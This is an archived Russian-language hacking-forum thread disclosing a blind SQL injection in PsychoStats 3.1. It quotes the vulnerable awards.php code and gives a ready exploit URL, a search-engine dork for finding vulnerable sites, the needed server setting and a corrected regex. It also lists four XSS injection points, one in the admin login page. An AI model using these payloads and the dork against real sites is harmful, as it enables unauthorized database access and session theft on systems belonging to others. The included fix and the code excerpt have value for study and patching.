PDA

Просмотр полной версии : PsychoStats


oRb
03.01.2010, 18:06
Продукт: PsychoStats 3.1 http://www.psychostats.com/
Уязвимость: Blind SQL-injection
Описание:
файл awards.php
if (empty($d) or !preg_match('/\d\d\d\d-\d\d?-\d\d?/', $d)) {
$d = date('Y-m-d');
// $d = $range[$v]['max'];
}
...
$cmd = "SELECT awarddate FROM $ps->t_awards WHERE awardrange = '$v' AND awarddate <= '$d' ";
if ($p) $cmd .= "AND topplrid=$_p ";
$cmd .= "ORDER BY awarddate DESC LIMIT 1";
list($d) = $ps->db->fetch_list($cmd);
Результат попадает вторым параметром в функцию date. Т.е. можно определять по дате в календаре результат выполнения sql запроса. (изврат)
Эксплойт:
/awards.php?d=2009-12-01'+and+0+union+select+1%23
Дорк: "Powered by PsychoStats" inurl:awards.php
Зависимости: magic_quotes_gpc = off
Решение: замена паттерна на следующий "/^\d\d\d\d-\d\d?-\d\d?$/"


XSS'ки:
/query.php?s=[XSS]
/ajax/flaglist.php?id='%3E[XSS] (работает только для зареганных)
/ajax/iconlist.php?id='%3E[XSS] (работает только для зареганных)
/admin/login.php?ref=%22%3E[XSS]

rushter
03.01.2010, 22:07
Вроде в роа уже была тема с психостатом.